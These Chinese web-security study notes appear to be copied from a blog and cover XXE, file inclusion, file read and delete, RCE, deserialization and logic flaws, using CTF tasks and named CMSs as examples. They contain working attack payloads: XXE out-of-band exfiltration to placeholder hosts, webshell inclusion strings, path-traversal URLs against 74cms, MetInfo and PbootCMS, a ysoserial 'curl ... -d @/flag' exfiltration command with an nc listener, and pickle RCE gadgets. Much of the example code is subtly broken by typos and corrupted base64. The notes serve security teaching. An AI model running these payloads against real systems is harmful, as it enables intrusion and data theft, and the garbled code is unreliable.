XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据内容,其把数据从HTML分离,是独立与软件与硬件的信息传输工具。XXE漏洞全称XML External Entity Injection ,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析xml输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内部网站等危害
XML与HTML的主要差异:
XML被设计为传输和存储数据,其焦点是数据内容
HTML被设计用来显示数据,其焦点是数据的外观
HTML旨在显示信息,而XML旨在传输信息
XXE修复防御方案:
A:禁用外部实体
PHP
libxml_disable_entity_loader(true);
JAVA
DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
Python
from lxml import etreexmlData=
etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
B:过滤用户提交的XML数据
过滤关键词:<!DOCTYPE 和 <!ENTITY,或者SYSTEM和PUBLIC
XML&XXE 黑盒-原理&探针&利用&玩法等
参考:https://www.cnblogs.com/20175211lyz/p/11413335.html
1.读取文件:
<?xml version="1.0"?>
<!DOCTYPE Mikasa[
<!ENTITY test SYSTEM "file:///d:/e.txt">
]>
<user><username>&test;</username><password>MISAKA</password></user>
1.1外带测试:
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY % file SYSTEM "http://9v57ll.dnslog.cn">
%file;
]>
<user><username>&send;</username><password>MISAKA</password></user>
2.外部引用实体dtd:
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">
%file
]>
<user><username>&send;</username><password>MISAKA</password></user>
evil2.dtd
<!ENTITY send SYSTEM "file:///d:/e.txt">
3.无回显读文件
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///d:/e.txt">
<!ENTITY % remote SYSTEM "http://xx.xx.xx.xx/test.dtd">
%remote;
%all;
]>
<root>&send;</root>
test.dtd
<!ENTITY % all "<!ENTITY send SYSTEM 'http://xx.xx.xx.xx/get.php?file=%file,'>">
get.php
<?php
$data=$_GET['file'];
$myfile=fopen("file.txt","w+");
fwrite($myfile,$data);
fclose($myfile);
?>
4.其他玩法(协议)见参考地址
XML&XXE-前端-CTF&Jarvisoj&探针&利用
http://web.jarvisoj.com:9882/
XXE黑盒发现:
1、获取得到Content-Type或数据类型为xml时,尝试进行xml语言payload进行测试
2、不管获取到的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe
流程:功能分析-前端提交-源码&抓包-构造Payload测试
更改请求数据格式:Content-Type
?xml version="1.0"?>
<!DOCTYPE Any[
<!ENTITY f SYSTEM "file:///home/ctf/flag.txt">
]>
<x>&f</x>
XML&XXE-白盒-CMS&PHPSHE&无回显审计
审计流程:
a:漏洞函数simplexml_load_string
b:pe_getxml函数调用了漏洞函数
c:wechat_getxml调用pe_getxml
d:notify_url调用了wechat_getxml
访问notify_url文件触发wechat_getxml函数构造payload测试
先尝试读取文件,无回显后带外测试
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY % file SYSTEM "http://fuwlwv.dnslog.cn">
%file;
]>
<user><username>&send;</username><password>MISAKA</password></user>
然后带外传递数据解决回显:
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///d:/e.txt">
<!ENTITY % remote SYSTEM "http://xx.xx.xx.xx/test.dtd">
%remote;
%all;
]>
<root>&send;</root>
test.dtd:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://xx.xx.xx.xx/get.php?file=%file;'>">
文件包含
知识点:
1、解释-什么是文件包含
2、分类-本地LFI&远程RFI
3、利用-配合上传&日志&会话
4、利用-伪协议&编码&算法等 读文件,写文件(编码算法的转换)
核心知识:
a:本地包含LFI&远程包含RFI-区别
一个只能包含本地,一个可以远程加载;具体形成原因由代码和配置环境文件决定
b:各类脚本语言包含代码写法-见下
<!--#include file="1.asp"-->
<!--#include file="top.aspx"-->
<c.import url="http://thief.one/1.jsp">
<jsp:include page="head.jsp"/>
<%@ include file="head.jsp"%>
<?php include('test.php')?>
各类脚本语言包含伪协议玩法
https://www.cnblogs.com/endust/p/11804767.html
思路要点:
黑盒:主要观察参数传递的数据和文件名是否对应
白盒:
a.可通过应用功能追踪代码定位审计
b.可通过脚本特定函数搜索定位审计
c.可通过伪协议玩法绕过相关修复等
CTF应用78-117
78-php&http协议
payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php
payload: ?file=php://input post:<?php system('tac flag.php');?>
payload: ?file=http://www.xxx.com/1.txt 1.txt:<?php system('tac flag.php');?>
79-data&http协议
payload: ?file=data://text/plain;<?=system('tac flag.*');?>
payload:
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
payload: ?file=http://www.xxx.com/1.txt 1.txt: <?php system('tac flag.php');?>
80,81-日志包含
1.利用其他协议,如file,zlib等
2.利用日志记录UA特性包含执行
分析需文件名及带有php关键字放弃
故利用日志记录UA信息,UA带入代码
包含:/var/log/nginx/access.log
82-86-session包含
https://www.cnblogs.com/interpreter/p/14086164.html
https://www.cnblogs.com/echoDetected/p/13976405.html
87-php://filter/write&加密编码
1.利用base64:
url编码两次:php://filter/write=convert base64-decode/resource=123.php
content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==
2.利用凯撒13:
url编码两次:php://filter/write=string.rot13/resource=2.php
content=<?cuc flfgrz('gnp s*.cuc');?>
88-data&base64协议
过滤php,各种符号,php代码编码写出无符号base64的值
payload:
file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKtlY2hvlDEyMzs/PmFk
117-php://filter/write&新的算法
convert_icony:一种过滤器,和使用iconv()函数处理流数据有等同作用
<?php
$result=iconv("UCS-2LE","UCE-2BE",'<?php eval($_POST['a']);?>');
echo "经过一次反转:".$result."\n";
echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE",$result);
?>
payload:
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvela$(P_SO['T']a;)>?
CMS源码-XHCMS-代码审计&日志&绕过
1.搜索特定函数寻找包含点
2.固定目录及后缀名需绕过
3.由CMS无上传用日志包含
4.利用长度绕过后缀名固定
payload:
?r=../../../Apache/logs/access.log/../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../
总结:
1.有可控文件如能上传文件,配合上传后包含
2.无可控文件可以利用日志或Session&伪协议
3.代码固定目录及文件后缀时需考虑版本绕过
4.伪协议玩法是建立在代码中只有变量存在时
文件任意下载&删除&读取
知识点:
1、文件操作安全问题
2、文件下载&删除&读取
3、白盒&黑盒&探针分析
详细点:
文件读取:基本和文件下载利用类似
文件下载:利用下载获取源码或数据库配置文件及系统敏感文件为后续出思路
文件删除:除自身安全引发的文件删除外,可配合删除重装锁定文件进行重装
白盒审计:
1.文件下载
流程-功能点抓包-寻代码文件-寻控制变量-构造测试
payload:softadd=d:/1.txt softadd2=d:/1.txt
2.文件删除:74cms-配合删除重装
流程-特定函数搜索-寻触发调用-构造payload测试
payload:/admin/admin_article.php?act=del_img&img=../../data/install.lock
3.文件读取:MetInfo-任意读取
流程-特定函数搜索-寻触发调用-构造payload测试
payload:/include/thumb.php?dir=http\..\..\config\config_db.php
黑盒探针:
a:URL参数名及参数值分析
参数名:英文对应翻译
参数值:目录或文件名
b:功能点自行修改后分析
RCE
知识点:
1.RCE执行-代码执行&命令执行
2.CTF考点-漏洞配合&绕过手法
3.利用审计-CMS框架&中间件等
详细点:
a:为什么会产生此类安全问题
b:此类安全问题探针利用及危害
c:此类安全问题在CTF即CMS分析
漏洞场景:代码会调用自身的脚本代码执行,也会调用系统命令执行
漏洞区别:脚本语言&操作系统(php/java/python/js&windows/linux/mac)
漏洞对象:WEB源码&中间件&其他环境
漏洞危害:直接权限丢失,可执行任意脚本代码或系统命令
RCE-原理&探针&利用&危害等
举例:
<?php
//eval代码执行
eval('phpinfo();');
//system命令执行
system('ipconfig');
?>
-RCE代码执行:引用脚本代码解析执行
-RCE命令执行:脚本调用操作系统命令
漏洞函数:
1.php:
eval() assert() preg_replace() call_user_func_array() 以及 arrary_map()等
system shell_exec popen passthru proc_open等
2.python:
eval exec subprocess os.system commands
3.java:
Java中没有类似php中的eval函数这种直接可以将字符串转化为代码执行的函数,但有反射机制,并且有各种基于反射机制的表达式引擎,如:OGNL SpEL MVEL等
CTF-29-39-RCE代码命令执行
29 通配符
system('tac fla*.php');
30 取代函数&通配符&管道符
`cp fla*.ph* 2.txt`;
echo shell_exec('tac fla*.ph*');
31 参数逃逸
eval($_GET[1]);&1=system('tac flag.php');
32-36 配合包含&伪协议
include$_GET[a]?>&a=data://text/plain,<?=system('tac flag.php');?>
include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
37-39 包含&伪协议&通配符
data://text/plain,<?=system('tac fla*');?>
php://input post:<?php system('tac flag.php');?>
代码审计-PbootCMS-RCM代码执行
流程:搜索特定函数-》parserlfLabel-》parserCommon-》About&Content-》构造
AboutController:{pboot:if(eval($_POST[1]))}!!!{/pboot:if}
ContentController:/index.php/Content/2?keyword={pboot:if(eval($_REQUEST[1]));//)})}}{/pboot:if}&1=phpinfo();
层面-探针-语言&cms框架&中间件
http://vulfocus.io/ Shiro weblogic
序列化
php反序列化
一:
知识点:
1.什么是反序列化操作?-格式转换
2.为什么会出现安全漏洞?-魔术方法
3.反序列化漏洞如何发现?-对象逻辑
4.反序列化漏洞如何利用?-pop链构造
补充:反序列化利用大概分三类
-魔术方法的调用逻辑 如触发条件
-语言原生类的调用逻辑 如SoapClient
-语言自身的安全缺陷 如CVE-2016-7124
反序列化课程点:
-PHP&JAVA&Python
序列化:对象转换为数组或字符串格式
反序列化:将数组或字符串等格式转换成对象
serialize(): 将一个对象转换成一个字符串
unserialize(): 将一个字符串还原为一个对象
PHP反序列化漏洞
原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。在反序列化过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。
魔术方法利用点分析:
触发:unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法:
__construct() 构造函数,当对象new的时候就会自动调用
__destruct() 析构函数,当对象被销毁时就会被自动调用
__wakeup() unserialize()时会被自动调用
__invoke() 当尝试以调用函数的方法调用一个对象时,会被自动调用
__call() 在对象上下文中调用不可访问的方法时调用
__callStatic() 在静态上下文中调用不可访问的方法时调用
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发
__sleep() serialize()函数会检查类中是否存在一个魔术方法__sleep()如果存在,该方法会被优先调用
反序列化-魔术方法&漏洞引发&变量修改等
<?php
//序列化&反序列化
clss demotest{
public $name='xxx';
public $sex='man';
public $age='29';
}
$example=new demotest();
$s=serialze($example);//序列化
$u=unserialize($s);//反序列化
echo $s.'<br>';
var_dump($u);
echo '<br>';
//O:8:"demotest":3:{s:4:"name";s:3:"xxx";s:3:"sex";s:3:"age";s:2:"29";}
//object(demotest)#2 (3) {["name"]=>string(3) "xxx" ["sex"]=>string(3)"man" ["age"]=>string(2)"29"}
//安全问题
class A{
public $var='echo test';
public function test(){
echo $this->var;
}
public function __destruct(){
echo 'x'.'<br>';
}
public function __construct(){
echo '__construct'.'<br>';
}
public function __toString(){
return '__toString'.'<br>';
}
}
//无需函数,创建对象触发魔术方法
//$a=new A();//触发__construct
//$a->test();//触发test
//echo $a;//触发__toString
//触发__destruct
echo serialize($a);
$t=unserialize('O:1:"A":1:{s:3:"var";s:9:"echo test";}');
$t->test();
//漏洞出现
class B{
public function __destruct(){
system('ipconfig');
}
public function __construct(){
echo 'xiaodisec'.'<br>';
}
}
//函数引用,无对象创建触发魔术方法
//?x=O:1:"B":1:{s:4:"test";s:3:"vat";}
unserialize($_GET[x]);
//$b=new b();
//echo serialize($b);
class C(){
public $cmd='ipconfig';
public function __destruct(){
system($this->cmd);
}
public function __construct(){
echo 'xiaodisec'.'<br>';
}
}
//函数引用,无对象创建触发魔术方法自定义变量
//?c=0:1:"C":1:{s:3:"cmd";s:3:"var";}
unserialize($_GET[c]);
?>
cms代码审计-Typecho反序列化&魔术方法逻辑
二:
知识点:
1,反序列化魔术方法全解
2,反序列化变量属性全解
3,反序列化魔术方法原生类
4,反序列化语言特性漏洞绕过
其他魔术方法
-共有&私有&保护
-语言模式方法漏洞
-原生类获取利用配合
方法&属性-调用详解&变量数据详解
对象变量属性:
public :在本类内部、外部类、子类都可以访问
protected:只有本类或子类或父类可以访问
private:只有本类内部可以使用
序列化数据显示:
private属性序列化时格式为:%00类名%00成员名
protect属性序列化时格式为:%00*%00成员名
具体代码:
<?php
header("Content-type:text/html;charset=utf-8");
/*public private protected说明
class test{
public $name="xxx";
private $age="29";
protected $sex="man";
}
$a=new test();
$a=serialize($a);
print_r($a);
*/
/*__construct __destruct魔术方法 创建调用__construct 2种销毁调用__destruct
class Test{
public $name;
public $age;
public $string;
//__construct:实例化对象时被调用,其作用是拿来初始化一些值。
public function __construct($name,$age,$string){
echo"__construct 初始化".'<br>';
$this->name=$name;
$this->age=$age;
$this->string=$string;
}
//__destruct:当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制
/*当对象销毁时会调用此方法
一是用户主动销毁对象,二是当程序结束时由引擎自动销毁
*/
fuction __destruct(){
echo "__destruct 类执行完毕".'<br>';
}
}
//主动销毁
$test=new Test("Spaceman","666","Test String");
unset($test);
echo "第一种执行完毕".'<br>';
echo "----------------------------------";
//程序自动销毁
$test = new test("Spaceman","666","Test String");
echo "第二种执行完毕".'<br>';
*/
...
?>
CTF-语言漏洞——wakeup()方法绕过
如果存在__wakeup方法,调用unserialize()方法前先调用__wakeup方法,但序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
1.下载源码分析,触发flag条件
2.分析会触发调用__wakeup强制username值
3.利用语言漏洞绕过CVE-2016-7124
4.构造payload后,修改满足漏洞条件触发
CTF-方法原生类-获取&利用&配合其他
参考:https://www.anquanke.com/post/id/264823
-PHP有哪些原生类-见脚本使用
-常见使用的原生类-见参考
-原生类该怎么使用-见官方
0、生成原生类
<?php
$classes=get_declared_classes();
foreach($classes as $class){
$methods=get_class_methods($class);
foreach($methods as $method){
if(in_array($method,array(
'__destruct';
'__toString';
'__wakeup';
'__call';
'__callStatic';
'__get';
'__set';
'__isset';
'__unset';
'__invoke';
'__set_state';
))){
print $class.'::'.$method."\n";
}
}
}
1、本地Demo-xss
<?php
highlight_file(__file__);
$a=unserialize($_GET['k']);
echo $a;
?>
-输出对象可调用__toString
-无代码通过原生类Exception
-Exception使用查询编写利用
-通过访问触发输出产生XSS漏洞
<?php
$a=new Exception("<script> alert ("xxx");</script>");
echo urlencode(serialize($a));
?>
2、CTFShow-259
-不存在的方法触发__call
-无代码通过原生类SoapClient
-SoapClient使用查询编写利用
-通过访问本地Flag.php获取Flag
Java反序列化
知识点:
1.Java反序列化演示-原生API接口
2.Java反序列化漏洞利用-Ysoserial使用
3.Java反序列化漏洞发现利用点-函数&数据
4.Java反序列化考点-真实&CTF赛题-审计分析
内容点:
a:明白-Java反序列化原理
b:判断-Java反序列化漏洞
c:学会-Ysoserial工具使用
d:学会-SearializationDumper
e:了解-简要Java代码审计分析
前置知识:
序列化和反序列化的概念
序列化:把Java对象转换为字节序列的过程
反序列化:把字节序列恢复为Java对象的过程
对象的序列化主要有两种用途:
把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中;(持久化对象)
在网络上传送对象的字节序列。(网络传输对象)
函数接口:
Java:Seralizable Externalizable接口、fastjson、jackson、gson、ObjectInputStream.read、ObjectInputStream.readUnshared、XMLDecoder.read、ObjectYaml.loadXStream.fromXML、ObjectMapper.readValue、JSON.ParseObject等
PHP:serialize()、unserialize()
Python:pickle marshal PyYAML shelve PIL unzip
数据出现:
1、功能特性:
反序列化操作一般应用在导入模板文件、网络通信、数据传输、日志格式化存储、对象数据落磁盘、或DB存储等业务场景。因此审计过程中重要关注这些功能模块
2、数据特性:
一段数据以rO0AB开头,你基本可以确定这串就是Java反序列化base64加密的数据,或者如果以aced开头,那么他就是这一段Java序列化的16进制。
3、出现具体:
http参数,cookie,session,存储方式可能是base64(rO0),压缩后的base64(H4s),MII等Servlets http,Sockets,Session管理器,包含的协议就包括:JMX、RMI、JMS、JND1等(\xac\Xed)xm IXstream、XmldEcoder等(http Body:Content-type:application/xml)json(jackson,fastjson)http请求中包含
发现:
黑盒分析:数据库出现地-观察数据特性
白盒分析:组件安全&函数搜索&功能模块
利用:
Ysoserial集成的jar包配合生成,特性的专业漏洞利用工具等
原生API-Ysoserial_URLDNS使用
Serializable接口
Externalizable接口
没组件生成DNS利用:
https://github.com/frohoff/ysoserial
java -jar ysoserial-0.0.6-SNAPSHORT-all.jar URLDNS "http://xxx.cn" > urldns.ser
第三方组件-Ysoserial_支持库生成利用
https://github.com/WebGoat/WebGoat
有组件生成RCE
1.生成:java -Dhibernate5 -cp hibernate-core-5.4.9.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload Hibernate1 "calc.exe" > x.bin
2.解码:python java.py
import base64
file=open("x.bin","rb")
now=file.read()
ba=base64.b64encode(now)
print(ba)
file.close()
解密分析-SerializationDumper数据分析
https://github.com/NickstaDB/SerializationDumper
java -jar SerializationDumper-v1.13jar -r urldns.ser > dns.txt
CTF赛题 网鼎杯2020朱雀组JThink.java
0x01 注入判断,获取管理员账号密码
根据提示附件进行javaweb代码审计,发现可能存在注入漏洞另外有swagger开发接口,测试注入漏洞及访问接口进行调用调试
数据库名:myapp 列名 name pwd
注入测试:
POST /common/test/sqlDict
dbName=myapp?a=' union select (select name from user)#
dbName=myapp?a=' union select (select pwd from user)#
0x02 接口测试
/swagger-ui html接口测试:
{
"password"."admin@Rrrr_ctf_asde",
"username":"admin"
}
登录成功返回序列化数据:
。。。
0x03 回显数据分析攻击思路
JavaWeb特征可以作为序列号的标志参考
一段数据以rO0AB开头,你基本可以确定这串就是Java序列号base64加密的数据,或者如果以aced开头,那么他就是这一段java序列化的16进制。
分析数据:
先利用py2脚本base64解密数据
import base64
a=。。。
b=base64.b64decoder(a) encode('hex')
print(b)
再利用SerializationDumper解析数据 Java反序列化字节转字符串工具
java -jar SerializationDumper-v1.11.jar aced000xxx
0x04 生成反序列化payload
解密后数据中包含账号等信息,通过接口/common/user/current分析可知数据有接受,说明存在反序列化操作,思路:将恶意代码进行序列化后进行后续操作
利用ysoserial进行序列化生成
java -jar ysoserial-master-30099844c6-1.jar ROME "curl http://xxx:4444/ -d @/flag" > flag.bin
利用py2脚本进行反序列化数据的提取
import base64
file = open("flag.bin","rb")
now = file.read()
ba = base64.b64encode(now)
print(ba)
file.close()
0x05 触发反序列化,获取flag
服务器执行:nc -lvvp 4444
数据包直接请求获取进行反序列数据加载操作
Python反序列化
知识点:
1、Python-反序列化函数使用
2、Python-反序列化魔术方法
3、Python-反序列化POP链构造
4、Python-自动化审计bandit使用
前置知识:
函数使用:
pickle.dump(obj,file) 将对象序列化后保存到文件
pickle.load(file) 读取文件,将文件中的序列化内容反序列化为对象
pickle.dumps(obj) 将对象序列化成字符串各式的字节流
pickle.loads(byte_obj) 将字符串格式的字节流反序列化为对象
魔术方法:
__reduce__() 反序列化时调用
__reduce_ex__() 反序列化时调用
__setstate__() 反序列化时调用
__getstate__() 序列化时调用
原理-反序列化魔术方法-调用理解
魔术方法利用:
__reduce__() 反序列化时调用
__reduce_ex__() 反序列化时调用
__setstate__() 反序列化时调用
__getstate__() 序列化时调用
-代码块:
import pickle
import os
反序列化魔术方法调用-__reduce__() __reduce_ex__() __setstate__()
class A(object):
def __reduce__(self):
print('反序列化调用')
return (os.system,('calc',))
a=A()
p_a=pickle.dumps(a)
pickle.loads(p_a)
print('===========')
print(p_a)
class SerializePerson():
def __init__(self,name):
self.name = name
#构造 __setstate__方法
def __setstate__(self,name):
os.system('calc') #恶意代码
tmp = pickle.dumps(SerializationPerson('tom')) #序列化
pickle.loads(tmp) #反序列化 此时会弹出计算器
#序列化魔术方法调用 __getstate__()
class A(object):
def __getstate__(self):
print('序列化调用')
os.system('calc')
a=A()
p_a = pickle.dumps(a)
print('===========')
print(p_a)
反序列化安全漏洞demo
class A(object):
def __init__(self,func,arg):
self.func=func
self.arg = arg
print('This is A')
def __reduce__(self):
print('反序列化调用')
return (self.func,self.arg)
a=A(os.system,('calc'))
p_a = pickle.dumps(a)
pickle.loads(p_a)
print('===========')
print(p_a)
CTF-反序列化漏洞利用-构造RCE
环境介绍:利用Python-flask搭建的web应用,获取当前用户的信息,进行展示,在获取用户信息时,通过对用户数据进行反序列化获取导致的安全漏洞
CTF-CISCN2019华北-JWT&反序列化
通过提示-》寻找LV6-》购买修改支付逻辑-》绕过admin限制需修改jwt值-》爆破jwt密钥-》重组jwt值为admin-》购买进入会员中心-》源码找到文件压缩源码-》python代码审计反序列化-》构造读取flag代码进行序列化打印-》提交获取
考点1:JWT身份验证 攻击点:
https://www.cnblogs.com/vege/p/14468030.html
https://github.com/ck00004/c-jwt-cracker
考点2:Python代码审计 反序列化
自动工具:https://github.com/PyCQA/bandit
参考资料:https://github.com/bit4woo/python_sec
1.获取lv6
import request,time
url:"xxx"
for i in range(0,2000)
time.sleep(0.2)
r=request.get(url+str(i))
if 'lv6.png' in r.text:
print(i)
break
else:
print(str(i)+'|no')
2.购买后伪造admin身份
获取密钥
重组密文
3.代码审计-反序列化
伪造admin后发现返回数据包存在源码下载,下载后代码审计:
测试触发:URL对应代码块:路由-》文件
出发代码Payload:(源码是2版本)
import pickle
import urllib
class payload(object):
def __reduce__(self)
return (eval,("open('/flag.txt','r').read()",))
a=pickle.dumps(payload())
a=urllib.quote(a)
print(a)
代码审计-自动化工具-bandit安装及使用
参考:https://bandit.readthedocs.io/
业务逻辑
知识点:
1、水平越权-同级用户权限共享
2、垂直越权-低高用户权限共享
3、访问控制-验证丢失&取消验证
4、脆弱验证-Cookie&Token&Jwt等
前置知识
a:逻辑越权原理
-水平越权:用户信息获取时未对用户与ID比较判断直接查询等
-垂直越权:数据库中用户类型编号接受篡改或高权限操作未验证等
b:访问控制原理
-验证丢失:未包含引用验证代码文件等
-取消验证:支持空命令,匿名,白名单等
c:脆弱验证原理
-Cookie&Token&Jwt:不安全的验证逻辑
权限-水平越权-YXCMS-检测数据对比弱
只检测用户和ID对应关系,没检测当前操作用户是不是当前用户
权限-垂直越权-MINICMS-权限操作无验证
后台数据包访问先执行后判断登录等于无效
未授权-访问控制-XHCMS-代码未引用验证
未授权-访问控制-XHCMS-Cookie脆弱验证
app="熊海内容管理系统(SEACMS)"
#弱机制-空口令机制-Redis&Weblogic弱机制
http://vulfocus.io/
https://vulhub.org/
"weblogic"&&port="7001"
检测类-工具项目-Auth&Secscan-Authcheck
安装踩坑:https://bigyoung.cn/posts/250/
https://github.com/ztosec/secscan-authcheck
https://blog.csdn.net/weixin_44203158/article/details/110007233
购买支付逻辑
知识点:
1、商品购买-数量&价格&编号等
2、支付模式-状态&接口&负数等
3、折扣处理-优惠券&积分&重放等
详细点:
a:熟悉常见支付流程
选择商品和数量-选择支付及配送方式-生成订单编号-订单支付选择-完成支付
b:熟悉那些数据篡改
商品编号ID,购买价格,购买数量,支付方式,订单号,支付状态等
c:熟悉那些修改方式
替换支付,重复支付,最小额支付,负数支付,溢出支付,优惠券支付等
这篇关于小孩子不懂事,写着玩的的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!